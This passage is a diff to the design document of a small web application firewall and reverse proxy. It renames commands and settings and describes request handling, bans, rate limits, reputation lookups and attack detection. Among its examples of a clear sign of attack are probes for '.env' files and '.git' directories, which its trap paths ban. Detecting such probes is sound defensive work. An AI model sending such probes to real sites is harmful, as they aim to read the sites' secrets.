countries, consult reputation sources, and send alerts. -- Everything is set by environment variables. The names of `servewaf`'s start - with `SWWAF_`, and those of `rproxy` with `SWRP_`. The only other inputs are - `servewaf`'s files: - - the rule files; - - the state files; - - a lookup database; - - a `SWWAF_` setting given as a file; - - the file `SWWAF_LOG_REMOTE_TLS_CA_FILE` names. +- Everything is set by environment variables. The names of `waf`'s start with + `SWW_WAF_`, and those of `rproxy` with `SWW_RPROXY_`. The only other inputs + are files: + - `waf`'s rule files; + - `waf`'s state files and cache files; + - `waf`'s lookup database; + - a `SWW_WAF_` or `SWW_RPROXY_` setting given as a file; + - the file `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` names; + - the file `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` names. ## Non-goals -- TLS, certificates and routing by host name. Those are traefik's job. +- TLS, certificates and routing by host name. Those are the job of the + TLS-terminating proxy, such as traefik, nginx or Caddy. - More than one app behind one `rproxy`. Each app has its own. - Browser challenges such as captchas or proof of work. If wanted, chain Anubis between `rproxy` and the app. @@ -50,30 +56,28 @@ to them. ## Architecture -- One statically linked Go binary. Only `servewaf` writes to disk, and only to - its state directory. It ships in one image, which runs either command (see - "Deployment"). +- One statically linked Go binary. Only `waf` writes to disk, and only to its + state directory and its cache directory. It ships in one image, which runs + either command (see "Deployment"). - No database of any kind. Nothing is read from disk while serving a request. - Packages: - - `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. - - `internal/smallwebwaf`: the process, as the command it is given. - `smallwebwaf servewaf` reads the settings, the rule files, the lookup - database and the state files, listens, and serves until `SIGTERM` or - `SIGINT`. Then it stops, writing the state files (see "`servewaf`"). - `smallwebwaf rproxy` reads only that command's settings, and runs - `internal/rproxy` until `SIGTERM` or `SIGINT` (see "`rproxy`"). - `smallwebwaf healthcheck` is the image's health check. With no command, or - one it does not know, the binary prints the commands and exits with - status 2. + - `cmd/sww`: the binary, which only calls `internal/sww`. + - `internal/sww`: the process, as the command it is given. `sww waf` reads + the settings, the rule files, the lookup database and the state and cache + files, listens, and serves until `SIGTERM` or `SIGINT`. Then it stops, + writing the state and cache files (see "`waf`"). `sww rproxy` reads only + that command's settings, and runs `internal/rproxy` until `SIGTERM` or + `SIGINT` (see "`rproxy`"). `sww healthcheck` is the image's health check. + With no command, or one it does not know, the binary prints the commands + and exits with status 2. - `internal/config`: reads the settings, the one place they are read. - - `internal/servewaf`: `servewaf`'s server. It runs the checks in `check`, - and holds `servewaf`'s question, answer and report. It answers - `servewaf`'s own endpoints in `answerOwnEndpoint`. It counts bytes, - refusals and anomalies, and writes the log lines. - - `internal/rproxy`: the reverse proxy in front of one app that asks - `servewaf` about each request. It passes a request to the app with the - standard library's `httputil.ReverseProxy`, within the time and size - limits. + - `internal/waf`: `waf`'s server. It runs the checks in `check`, and holds + `waf`'s question, answer and report. It answers `waf`'s own endpoints in + `answerOwnEndpoint`. It counts bytes, refusals and anomalies, and writes + the log lines. + - `internal/rproxy`: the reverse proxy in front of one app that asks `waf` + about each request. It passes a request to the app with the standard + library's `httputil.ReverseProxy`, within the time and size limits. - `internal/ratelimit`: the table of clients. It counts requests, bytes and refusals, and keeps each client's history. - `internal/bans`: the bans. It holds each netblock's bans with their notes, @@ -81,120 +85,146 @@ to them. of bans is full. - `internal/rules`: reads the rule files at start and again when they change, and tells which rules a request matches. - - `internal/waf`: the Core Rule Set, with the six changes listed under - "Attack detection", as Coraza directives. - - `internal/lookup`: looks clients up through GeoJS or in the lookup - database. + - `internal/coreruleset`: the Core Rule Set, with the five changes and the + apps' fixes listed under "Attack detection", as Coraza directives. + - `internal/geojs`: looks clients up through GeoJS and keeps the answers. It + imports no other package of this repository: `waf` gives it what it needs + to count and report failures. + - `internal/lookup`: looks clients up in the lookup database. - `internal/reputation`: fetches the lists, asks the DNS blocklists and AbuseIPDB in the background, and keeps their answers. + - `internal/routewatch`: asks a routewatch instance about clients in the + background, and keeps its answers. - `internal/anomaly`: the anomaly counters and their alerts. - `internal/alerts`: holds back repeats and alerts past the hourly limit, and sends the rest to the webhook, Slack and ntfy, each from a queue of its own. - - `internal/state`: reads the state files at start, takes in edits while - running, and writes the files when due and at the stop. + - `internal/state`: reads the state and cache files at start, takes in edits + while running, and writes the files when due and at the stop. - `internal/requestlog` and `internal/remotelog`: the lines on stdout, and sending them to the syslog server. - `internal/metrics`: the metrics, in the Prometheus text format. - `Dockerfile`: the lint and test phases, then the image. `deploy/example-app` is an app built on the image, with `rproxy` in its - container, which `script/example-app` checks with `servewaf` in another. + container, which `script/example-app` checks with `waf` in another. - Libraries, checked against the owner's Go dependency defaults: - the standard library for the reverse proxy, HTTP clients, DNS, logging - (`log/slog`) and the state files (`encoding/json`, `os.Rename`); + (`log/slog`) and the state and cache files (`encoding/json`, `os.Rename`); - `github.com/corazawaf/coraza/v3` and `github.com/corazawaf/coraza-coreruleset/v4` at `v4.25.0`, which carries the Core Rule Set 4.25.0. The changes `smallwebwaf` makes to it, and the - default `SWWAF_WAF_DISABLED_RULES`, are built for that version. They are - checked again before the version changes, since rule ids, and what each - rule matches, change between versions; + default `SWW_WAF_CORE_RULE_SET_DISABLED_RULES`, are built for that + version. They are checked again before the version changes, since rule + ids, and what each rule matches, change between versions; - `github.com/hashicorp/golang-lru/v2` for the bounded tables; - `github.com/oschwald/maxminddb-golang/v2` to read the lookup database; - `github.com/fsnotify/fsnotify` to notice edited files; - `github.com/prometheus/client_golang` for the metrics; + - `github.com/spf13/viper` to read the settings from the environment; - `github.com/maxmind/mmdbwriter`, in the tests, to write lookup databases; - remote log sending written in this project, since the standard library's `log/syslog` is frozen and writes only the older syslog format. ## What happens to a request -`rproxy` runs steps 1, 2 and 14, and sends the report of step 15. `servewaf` -runs steps 3 to 13, and does the counting of step 15. The first step that -produces a final answer ends the checks. Step 15 runs for each request -`servewaf` answers with `allow`, `deny` or `close`. `rproxy`'s size and time -limits apply to the whole exchange. Each step names the section that holds its -rules. +`rproxy` runs steps 1, 2 and 17, and sends the report of step 18. `waf` runs +steps 3 to 16, and does the counting of step 18. The first step that produces a +final answer ends the checks. Step 18 runs for each request `waf` answers with +`allow`, `deny` or `close`. `rproxy`'s size and time limits apply to the whole +exchange. Each step names the section that holds its rules. A step that names a +heuristic in parentheses runs that heuristic. The request log's `heuristic` +field gives that name. `refusal_limit` and `byte_limits` give theirs in +`after_answer_heuristic` instead. -1. `GET /_smallwebwaf/healthz` is answered at once by `rproxy`, before any - check, so a health checker never needs an exemption and is never refused. +1. `GET /_sww/healthz` is answered at once by `rproxy`, before any check, so a + health checker never needs an exemption and is never refused. 2. The client is identified. - - If the TCP peer is inside `SWRP_TRUSTED_PROXIES`, `X-Forwarded-For` is - walked from the right, and the first address outside those netblocks is + - `SWW_RPROXY_TRUSTED_PROXIES` is `10.0.0.0/8`, `172.16.0.0/12` and + `192.168.0.0/16` by default. A list given replaces them. + - If the TCP peer is inside `SWW_RPROXY_TRUSTED_PROXIES`, `X-Forwarded-For` + is walked from the right, and the first address outside those netblocks is the client. If every address is inside them, the leftmost is, so that a visitor on a private network is known by its own address. An entry that is not an address ends the walk. With no header, the peer is the client. - - If the peer is outside `SWRP_TRUSTED_PROXIES`, it is the client, and the - header is ignored. - - `rproxy` then sends `servewaf` the question (see "The question"). - `servewaf` takes the address the question gives as the client. - - An IPv6 client is its group: the netblock of `SWWAF_IPV6_GROUP_PREFIX` + - If the peer is outside `SWW_RPROXY_TRUSTED_PROXIES`, it is the client, and + the header is ignored. + - `rproxy` then sends `waf` the question (see "The question"). `waf` takes + the address the question gives as the client. + - An IPv6 client is its group: the netblock of `SWW_WAF_IPV6_GROUP_PREFIX` around its address, a /64 by default, since one abuser usually controls a whole /64. A client is therefore one IPv4 address or one IPv6 group. -3. The static lists. A client in `SWWAF_ALLOW_NETS` skips steps 4 to 12, the - byte limits and the error burst. A client in `SWWAF_DENY_NETS` is refused; a - client in both lists is let through. -4. Bans. A client under a ban is refused (see "Bans"). -5. The lookup, unless `SWWAF_LOOKUP_SOURCE` is `off` (see "Lookup of AS number - and country"). The request goes on at once. It waits for the first GeoJS - answer, up to `SWWAF_LOOKUP_TIMEOUT`, only when one of these needs it: - - a country list; +3. The header limits (`header_limits`; see "Answering in time"). They come first + after `SWW_WAF_ALLOW_NETS`, since they only measure lines and count header + fields and cookies. Next, the tag lists (`tag_lists`; see "Request tags"). + Each list that holds the client adds its tag. Next, `routewatch_tags` adds + the client's `asn=` and `prefix=` tags while `SWW_WAF_ROUTEWATCH_URL` is set. + A client in `SWW_WAF_ALLOW_NETS` skips the header limits and gets no tag. +4. The static lists. A client in `SWW_WAF_ALLOW_NETS` skips steps 5 to 15, the + byte limits and the refusal limit. A client in `SWW_WAF_DENY_NETS` is refused + (`deny_nets`); a client in both lists is let through. +5. Bans. A client under a ban is refused (`active_ban`; see "Bans"). +6. The lookup, unless `SWW_WAF_LOOKUP_SOURCE` is `off` (see "Lookup of AS number + and country"). The request waits for the first GeoJS answer, up to + `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, when one of these needs it: + - `SWW_WAF_ADD_LOOKUP_HEADERS`, which is `true` by default; + - the country list; - a biased threshold; - - `SWWAF_ADD_LOOKUP_HEADERS`. + - `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming an `asn=` or + `country=` tag. - A request that ends before the answer comes is logged without it. + Otherwise the request goes on at once. A request that ends before the answer + comes is logged without it. While the request waits, steps 12 to 14 run at + the same time as steps 6 to 11 (see "Answering in time"). -6. The country lists (see "Country lists"). -7. The reputation sources (see "Reputation"). A client on a fetched blocklist - gets `SWWAF_BLOCKLIST_ACTION`. A client on the CrowdSec decision list is - banned. A client listed by a DNS blocklist, or scored at least - `SWWAF_ABUSEIPDB_MIN_SCORE` by AbuseIPDB, gets `SWWAF_REPUTATION_ACTION`. -8. The client's limit percentage (see "Biased thresholds"). -9. Rate limiting (see "Request rate limits, per client"). A request over a limit - times the percentage is refused and bans the client. -10. The trap paths (see "Attack detection"). A request for one is refused and - bans the client. -11. The rule files (see "Rule files"). Matching stops at the first rule that - refuses. -12. The header limits (see "Answering in time"), and then the Core Rule Set (see - "Attack detection"). A Core Rule Set match is refused with `403` while - `SWWAF_WAF_MODE` is `block`, and only logged and alerted while it is - `detect`. -13. A path under `/_smallwebwaf/` is answered `404`, so that the app never sees - that prefix. -14. `rproxy` passes the request to `SWRP_UPSTREAM_URL`, streaming (see "Passing - a request to the app"). With `SWWAF_ADD_LOOKUP_HEADERS`, `X-Client-ASN` and - `X-Client-Country` are added for the app's own logs; a header whose value is - unknown is left out. Whatever that setting says, any such header the client - sent is removed. -15. After the visitor's answer has ended, `rproxy` sends the report (see "The - report"). `servewaf` then counts: - - For a request it allowed, the response bytes, the request bytes or both - are added to the byte counters, as `SWWAF_BYTES_COUNT` says. For a - WebSocket, what it carried each way counts once it closes. A client whose - total passes a byte limit times the percentage has broken that limit and - is banned. The response in progress is not cut off. +7. The country list (`countries`; see "Country list"). +8. The reputation sources (see "Reputation"), in this order: + - A client on a fetched blocklist gets `SWW_WAF_BLOCKLIST_ACTION` + (`blocklists`). + - A client listed by a DNS blocklist gets `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` + (`dnsbl`). + - A client scored at least `SWW_WAF_ABUSEIPDB_MIN_SCORE` by AbuseIPDB gets + `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (`abuseipdb`). +9. The tag refusals (`tag_deny`; see "Request tags"). A request carrying a tag + in `SWW_WAF_TAG_DENY` is refused. +10. The client's limit percentage (see "Biased thresholds"). +11. Rate limiting (`rate_limits`; see "Request rate limits, per client"). A + request over a limit times the percentage is refused and bans the client. +12. The trap paths (`trap_paths`; see "Attack detection"). A request for one is + refused and bans the client. +13. The rule files (`rule_files`; see "Rule files"). Matching stops at the first + rule that refuses. +14. The Core Rule Set (`core_rule_set`; see "Attack detection"). A match is + refused with `403` while `SWW_WAF_CORE_RULE_SET_MODE` is `block`, and only + logged and alerted while it is `detect`. +15. The tag refusals again (`tag_deny`), so that `exploitsignature` can refuse + too. +16. A path under `/_sww/` is answered `404`, so that the app never sees that + prefix. +17. `rproxy` passes the request to `SWW_RPROXY_UPSTREAM_URL`, streaming (see + "Passing a request to the app"). While `SWW_WAF_ADD_LOOKUP_HEADERS` is + `true`, as by default, `X-Client-ASN` and `X-Client-Country` are added for + the app's own logs; a header whose value is unknown is left out. Whatever + that setting says, any such header the client sent is removed. +18. After the visitor's answer has ended, `rproxy` sends the report (see "The + report"). `waf` then counts: + - For a request it allowed, the body bytes of the response, of the request + or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNTED` + says. For a WebSocket, what it carried each way counts once it closes. A + client whose total passes a byte limit times the percentage has broken + that limit and is banned (`byte_limits`). The request that broke it has + already been passed on whole; nothing is cut off. - For a request it allowed, the client's history and the anomaly counters are updated, and the alert thresholds are evaluated. - For a request it refused, `servewaf` adds nothing to the byte limits. It - updates the history and the anomaly counters at its decision. It counts the - refusals the error burst counts at the decision too (see "Attack - detection"). + For a request it refused, `waf` adds nothing to the byte limits. It updates + the history and the anomaly counters at its decision. A refusal for a rule + file match, a trap path or a Core Rule Set match also counts toward the + refusal limit at the decision (`refusal_limit`; see "Attack detection"). -In `SWWAF_MODE=observe`, every refusal above is logged as what would have -happened, nothing is refused, and `servewaf` makes no ban of its own. A path -under `/_smallwebwaf/` is still answered `404`, and `rproxy`'s size and time -limits still apply. +In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have +happened, nothing is refused, and `waf` makes no ban of its own. A path under +`/_sww/` is still answered `404`, and `rproxy`'s size and time limits still +apply. ## Counting method @@ -207,24 +237,30 @@ limits still apply. every client a fresh allowance. Buckets whose time has passed are discarded on load. - Memory is bounded. When the table of clients holds - `SWWAF_MAX_TRACKED_CLIENTS`, the least recently seen client is dropped first, - with its history. The bans are bounded by `SWWAF_MAX_BANS` (see "Bans"). The - GeoJS answers, the reputation verdicts and scores, the DNS queries under way - and the anomaly counters have fixed bounds, listed under "Fixed limits" in - `docs/settings.md`. Past its bound, the GeoJS answer or anomaly counter used - longest ago goes first, and the verdict or score fetched longest ago. Past the - bound on DNS queries under way, a zone is asked at the client's next request. + `SWW_WAF_MAX_TRACKED_CLIENTS`, the least recently seen client is dropped + first, with its history. The bans are bounded by `SWW_WAF_MAX_BANS` (see + "Bans"). The GeoJS answers, the reputation verdicts and scores, the DNS + queries under way and the anomaly counters have fixed bounds, listed under + "Fixed limits" in `docs/settings.md`. Past its bound, the GeoJS answer or + anomaly counter used longest ago goes first, and the verdict or score fetched + longest ago. Past the bound on DNS queries under way, a zone is asked at the + client's next request. ## Bans Until a ban ends, every request from its netblock is refused with -`SWWAF_BAN_RESPONSE`. The netblock is the client: its IPv4 address, widened to -`SWWAF_BAN_SCOPE_V4_PREFIX`, or its IPv6 group. At the defaults a ban covers one -address or one /64, so a permanent ban does not reach neighbours who did -nothing. Requests refused under a ban are not counted against limits. They are -counted in the client's history and in the ban's notes. +`SWW_WAF_BAN_RESPONSE`, unless it is over the header limits. The netblock is the +client: its IPv4 address, widened to `SWW_WAF_BAN_SCOPE_V4_PREFIX`, or its IPv6 +group. At the defaults a ban covers one address or one /64, so a permanent ban +does not reach neighbours who did nothing. Requests refused under a ban are not +counted against limits. They are counted in the client's history and in the +ban's notes. -An offence is a request `servewaf` holds against the client. It is one of: +A request over the header limits is refused with `414` or `431` before the bans +are checked (see "Answering in time"). It makes no ban, makes no ban permanent +and is not counted in a ban's notes. + +An offence is a request `waf` holds against the client. It is one of: - a clear sign of attack; - a broken limit; @@ -234,9 +270,9 @@ Offences are counted by kind in the client's history. The first two kinds lead to a ban, each by its own rule: - A clear sign of attack: a request that matches a rule whose action is `ban`, - or asks for a path in `SWWAF_TRAP_PATHS`. Examples are a probe for a `.env` + or asks for a path in `SWW_WAF_TRAP_PATHS`. Examples are a probe for a `.env` file or a `.git` directory, and a known scanner's user agent. - - The first one bans the netblock for `SWWAF_ATTACK_BAN_DURATION` (default + - The first one bans the netblock for `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`), with the cause `attack`. - Any further request from the netblock while that ban lasts shows it is malicious: the ban becomes permanent. No other cause of ban becomes @@ -245,92 +281,94 @@ to a ban, each by its own rule: clear sign of attack bans it permanently at once. - A broken limit, one of: - a request over a rate limit; - - a response that takes the client's byte total past a byte limit; - - more than `SWWAF_ERROR_BURST_THRESHOLD` refusals within a minute. + - the bytes counted for a request and its response taking the client's total + past a byte limit; + - more than `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` refusals within a minute. The bans for a broken limit: - - The first such ban lasts `SWWAF_LIMIT_BAN_DURATION` (default `1h`), with + - The first such ban lasts `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`), with the cause `limit`. So does one that comes more than - `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`) after the last such ban + `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`) after the last such ban ended. - Breaking a limit again within that window makes the new ban three times as long as the last one: one hour, then 3, 9, 27 and 81 hours. - - A ban that would be longer than `SWWAF_MAX_BAN_DURATION` (default `7d`) is - permanent instead. At the defaults, that is the sixth ban in a row. + - A ban that would be longer than `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` + (default `7d`) is permanent instead. At the defaults, that is the sixth + ban in a row. - Each such ban sets the client's counters for every limit back to zero. Once it ends, only new requests can break a limit again. The client's history keeps its totals. A Core Rule Set match refuses only the request it matched, with `403` and without a ban, because the Core Rule Set has false positives. A `block` rule -does the same. Those refusals count toward the error burst, so a client that +does the same. Those refusals count toward the refusal limit, so a client that keeps setting them off is banned for a broken limit. -A client on the CrowdSec decision list is banned until the decision ends, with -the cause `crowdsec`. Only a client that sends a request is banned, so a long -list does not fill `bans.json`. Such a ban is never made permanent. It does not -make the netblock's next ban for a broken limit longer. A ban lifted while the -decision is in force is made again at the client's next request. To lift it for -good, delete the decision in CrowdSec, then lift the ban once the list has been -fetched again. - These refuse each request they cover, record nothing in `bans.json`, and count no offence: -- `SWWAF_DENY_NETS`; +- `SWW_WAF_DENY_NETS`; - a blocklist or reputation hit whose action is `deny`; -- the country lists. +- the country list; +- `SWW_WAF_TAG_DENY`. Every ban carries notes with what an admin needs to decide whether to lift it, -drawn from what `servewaf` already knows. No lookup is made for the notes alone. +drawn from what `waf` already knows. No lookup is made for the notes alone. `docs/state-files.md` lists the notes with the rest of a ban's entry. An admin adds, keeps or lifts a ban by editing `bans.json` (see "Persistent state") or through the ban endpoints (see "Admin endpoints"). A ban an admin -makes has the cause `admin`; an admin who wants to keep a ban `servewaf` made -sets its cause to `admin`. A ban lifted before it ends is kept, marked as -lifted, and does not count toward a longer ban; it refuses nothing. Deleting its -entry from `bans.json` forgets it entirely. +makes has the cause `admin`; an admin who wants to keep a ban `waf` made sets +its cause to `admin`. A ban lifted before it ends is kept, marked as lifted, and +does not count toward a longer ban; it refuses nothing. Deleting its entry from +`bans.json` forgets it entirely. -A permanent ban does not run out. It ends when an admin lifts it, or when -`servewaf` drops it from a full table, as below. When `servewaf` holds -`SWWAF_MAX_BANS` bans of its own, it drops the earliest ban of one netblock: the -netblock that has gone longest without a request. A past, active or permanent -ban is dropped alike. A scanner whose ban was dropped that way is refused and -banned again by its next probe. A ban whose cause is `admin` is never dropped -and does not count toward `SWWAF_MAX_BANS`, so such bans can never fill the -table. +A permanent ban does not run out. It ends when an admin lifts it, or when `waf` +drops it from a full table, as below. When `waf` holds `SWW_WAF_MAX_BANS` bans +of its own, it drops the earliest ban of one netblock: the netblock that has +gone longest without a request. A past, active or permanent ban is dropped +alike. A scanner whose ban was dropped that way is refused and banned again by +its next probe. A ban whose cause is `admin` is never dropped and does not count +toward `SWW_WAF_MAX_BANS`, so such bans can never fill the table. + +A request refused under a ban that runs out is logged with the action +`temporarily_banned`. Under a permanent ban the action is `permanently_banned`. +A request refused for a clear sign of attack takes the action for the ban it +made. A request that makes a ban permanent is logged as `permanently_banned`. A +request over a rate limit is logged as `client_is_rate_limited`, whichever ban +it makes. ## Settings `docs/settings.md` lists every setting with its default and the values it takes, in the groups below. It also gives the form each kind of value takes. The groups -below are `servewaf`'s settings; "`rproxy`" gives the use of `rproxy`'s. -Conventions: +below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions: - These settings take `off`, which switches them off: - - `SWWAF_LOOKUP_SOURCE` and `SWWAF_WAF_MODE`; + - `SWW_WAF_LOOKUP_SOURCE` and `SWW_WAF_CORE_RULE_SET_MODE`; - the three rate limits and the three byte limits; - - `SWWAF_WAF_ANOMALY_THRESHOLD`, `SWWAF_WAF_BODY_LIMIT` and - `SWWAF_ERROR_BURST_THRESHOLD`; - - `SWWAF_ALERT_COOLDOWN` and `SWWAF_ALERT_MAX_PER_HOUR`; + - `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`, + `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` and + `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`; + - `SWW_WAF_ALERT_COOLDOWN` and `SWW_WAF_ALERT_MAX_PER_HOUR`; - every anomaly threshold; - - `SWRP_MAX_REQUEST_SIZE`, `SWRP_MAX_RESPONSE_SIZE`, - `SWRP_MAX_REQUEST_TIME_MS` and `SWRP_MAX_RESPONSE_TIME_MS`. + - `SWW_RPROXY_MAX_REQUEST_SIZE`, `SWW_RPROXY_MAX_RESPONSE_SIZE`, + `SWW_RPROXY_MAX_REQUEST_TIME_MS` and `SWW_RPROXY_MAX_RESPONSE_TIME_MS`. No other setting can be switched off with `off`. - A list set to an empty value is an empty list, and replaces the default. -- Any `SWWAF_` setting can be read from a file instead, for secrets and long - lists: `SWWAF_ADMIN_TOKEN_FILE` names the file that holds `SWWAF_ADMIN_TOKEN`. - The file's contents are the value, less one newline at the end, and are - checked as the value itself would be. Setting both forms stops the start, and - so does naming a file that cannot be read. `SWWAF_LOG_REMOTE_TLS_CA_FILE` - already holds a file name, so it has no `_FILE` form. No `SWRP_` setting has - one, since `rproxy` never touches disk. +- Any `SWW_WAF_` or `SWW_RPROXY_` setting can be read from a file instead, for + secrets and long lists: `SWW_WAF_ADMIN_TOKEN_FILE` names the file that holds + `SWW_WAF_ADMIN_TOKEN`. The file's contents are the value, less one newline at + the end, and are checked as the value itself would be. Setting both forms + stops the start, and so does naming a file that cannot be read. + `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` and `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` + already hold a file name, so they have no `_FILE` form. `SWW_COMMAND` cannot + be given as a file. - Settings, files included, are read once at start. Changing one means - restarting the container. The files `servewaf` watches while it runs are its - state files, its rule files and the lookup database. + restarting the container. The files `waf` watches while it runs are its state + and cache files, its rule files and the lookup database. - An invalid setting stops the process at start with one log line, marked `"type":"process"` with `"msg":"invalid setting"`. The line names the variable and what is wrong with the value; "Each container's processes" says what @@ -340,60 +378,60 @@ Conventions: ### Core -- `SWWAF_INSTANCE_NAME` is in each line `servewaf` logs, and in each metric and +- `SWW_WAF_INSTANCE_NAME` is in each line `waf` logs, and in each metric and alert, so that instances can be told apart. The default, the container's host name, changes at every redeploy; a name set by the operator survives it. -- `SWWAF_MODE=observe` lets a configuration be tried before it is enforced (see - "What happens to a request"). -- `SWWAF_IPV6_GROUP_PREFIX` sets the group size. After a change, each IPv6 +- `SWW_WAF_MODE=observe` lets a configuration be tried before it is enforced + (see "What happens to a request"). +- `SWW_WAF_IPV6_GROUP_PREFIX` sets the group size. After a change, each IPv6 client starts afresh; existing bans keep refusing their netblocks until they - end. `SWWAF_MAX_TRACKED_CLIENTS` and `SWWAF_MAX_BANS` set the bounds under + end. `SWW_WAF_MAX_TRACKED_CLIENTS` and `SWW_WAF_MAX_BANS` set the bounds under "Counting method" and "Bans". ### Tokens -- `SWWAF_ADMIN_TOKEN` switches on the ban endpoints and - `/_smallwebwaf/clients/`. The metrics are off until `SWWAF_METRICS_TOKEN` - is set, since without a token they would be open to anything on `servewaf`'s - network. The two are separate, so the metrics collector, which holds the - metrics token, cannot manage bans. +- `SWW_WAF_ADMIN_TOKEN` switches on the ban endpoints and `/_sww/clients/`. + The metrics are off until `SWW_WAF_METRICS_TOKEN` is set, since without a + token they would be open to anything on `waf`'s network. The two are separate, + so the metrics collector, which holds the metrics token, cannot manage bans. - A token is a long random value. One shorter than 32 characters stops the start. The file form keeps a token out of the container's environment (see "Tokens" under "Deployment"). -### State files +### State and cache files -- `SWWAF_STATE_DIR` names the directory of the state files (see "State" under - "Deployment"). -- `bans.json` is written `SWWAF_STATE_WRITE_DELAY` after a ban is made, lifted +- `SWW_WAF_STATE_DIR` names the directory of the state files, and + `SWW_WAF_CACHE_DIR` that of the cache files (see "State" under "Deployment"). +- `bans.json` is written `SWW_WAF_BANS_WRITE_DELAY` after a ban is made, lifted or made permanent, so a burst of changes becomes one write. Every file is - written every `SWWAF_STATE_COUNTER_INTERVAL`, and at an orderly stop. + written every `SWW_WAF_STATE_WRITE_INTERVAL`, and at an orderly stop. ### Logging - The request log on stdout is always on and has no switch (see "Request log"). - `SWWAF_LOG_LEVEL` filters only the process's own messages, and no message is + `SWW_WAF_LOG_LEVEL` filters only the process's own messages, and no message is at `debug`. `warn` and `error` hold back the line of settings at start. -- `SWWAF_LOG_REQUEST_HEADERS` names the request headers to record. +- `SWW_WAF_LOG_REQUEST_HEADERS` names the request headers to record. `Authorization`, `Cookie` and `Set-Cookie` values are never logged, even if listed. The log says only whether `Authorization` and `Cookie` were present. -- `SWWAF_LOG_REMOTE_URL` names a syslog server (see "Request log"). +- `SWW_WAF_LOG_REMOTE_URL` names a syslog server (see "Request log"). ### Metrics -- `SWWAF_METRICS_TOP_N` is how many of the busiest AS numbers and countries get - a series of their own. The rest are summed as `other`, so the label set stays - bounded. +- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` is how many of the busiest AS + numbers and countries get a series of their own. The rest are summed as + `other`, so the label set stays bounded. ### Static lists -- `SWWAF_ALLOW_NETS` skips the checks step 3 names, for monitoring or the - owner's own networks. `SWWAF_RATE_LIMIT_EXEMPT_NETS` bypasses the request and - byte limits only; the error burst, attack detection and bans still apply. +- `SWW_WAF_ALLOW_NETS` skips the checks step 4 names, for monitoring or the + owner's own networks. `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` bypasses the request + and byte limits only; the refusal limit, attack detection and bans still + apply. - Many people can share one address, as in an office, on a mobile carrier or through Tor. They are one client, and share its limits and its bans. A known - shared address busier than the limits allow belongs in `SWWAF_ALLOW_NETS` or - `SWWAF_RATE_LIMIT_EXEMPT_NETS`. + shared address busier than the limits allow belongs in `SWW_WAF_ALLOW_NETS` or + `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`. ### Request rate limits, per client @@ -402,10 +440,10 @@ scrapers that send many requests slowly over hours or days. The hour limit is the main one. - Per minute: 120, 2 requests a second. It leaves room for a person opening two - pages at once with an empty cache. A gitea page opened with an empty cache + pages at once with an empty cache. A web app's page opened with an empty cache loads 20 to 60 files, and a handful once cached. -- Per hour: 1,500. A person reading code in gitea for a whole hour, a page every - 20 seconds, makes about 900 requests. A scraper making one request every 2 +- Per hour: 1,500. A person reading a site for a whole hour, a page every 20 + seconds, makes about 900 requests. A scraper making one request every 2 seconds makes 1,800 an hour, more than the limit. - Per day: 6,000, four hours at the hour limit. A scraper making one request every 10 seconds makes 8,640 a day, more than the limit. @@ -417,27 +455,33 @@ the blocklists. An abuser that trips none of them is not caught. Some legitimate clients pass the limits: -- An Actions runner asks gitea for work all day and can pass the limits. +- A CI runner asks its code forge for work all day and can pass the limits. - Everyone behind one shared address, such as an office, shares one client's limits. -Their addresses belong in `SWWAF_RATE_LIMIT_EXEMPT_NETS`. +Their addresses belong in `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`. -`SWWAF_RATE_LIMIT_EXEMPT_PATHS` takes path prefixes out of the count, such as +`SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` takes path prefixes out of the count, such as static assets or health checks; their bytes are not counted either. A prefix is matched exactly as sent, without the query, and is not percent-decoded: `/assets/` matches `/assets/app.js`, and does not match `/Assets/app.js`, `/%61ssets/app.js` or `/static/assets/app.js`. There are no wildcards. A path holding `..`, a backslash or an encoded slash (`%2F`) is never exempt, since the -app may read it as a path outside the prefix. `SWWAF_WAF_EXEMPT_PATHS` is -matched the same way. +app may read it as a path outside the prefix. +`SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` is matched the same way. ### Byte limits, per client -By default there is no minute limit, so a client can download in a burst at full -speed. The hour limit defaults to 50 GiB and the day limit to 100 GiB. They -allow several downloads of a few GiB each. A response's bytes are counted when -it ends (see step 15). +The byte limits count body bytes: the app's response bodies, the visitors' +request bodies, or both, as `SWW_WAF_BYTES_COUNTED` says. Headers are never +counted. What the visitor sent over a WebSocket counts as request bytes, and +what the app sent as response bytes. The bytes counted for a request and its +response are added to the client's total once the response has ended (see step +18). So the request that takes a client past a limit is passed on whole, and the +ban refuses the client's requests from then on. By default there is no minute +limit, so a client can download in a burst at full speed. The hour limit +defaults to 50 GiB and the day limit to 100 GiB. They allow several downloads of +a few GiB each. ### Lookup of AS number and country @@ -446,13 +490,13 @@ lookup works with no setup. A local database file is the alternative for a service that keeps its visitors' addresses on its own host. - Only one source is used. The start stops, naming both settings, when `file` is - set without `SWWAF_LOOKUP_DB_PATH`, or `SWWAF_LOOKUP_DB_PATH` with any other - source. The start also stops when the source is `off` and a setting that needs - a lookup is set (`docs/settings.md` lists them). + set without `SWW_WAF_LOOKUP_DB_PATH`, or `SWW_WAF_LOOKUP_DB_PATH` with any + other source. The start also stops when the source is `off` and a 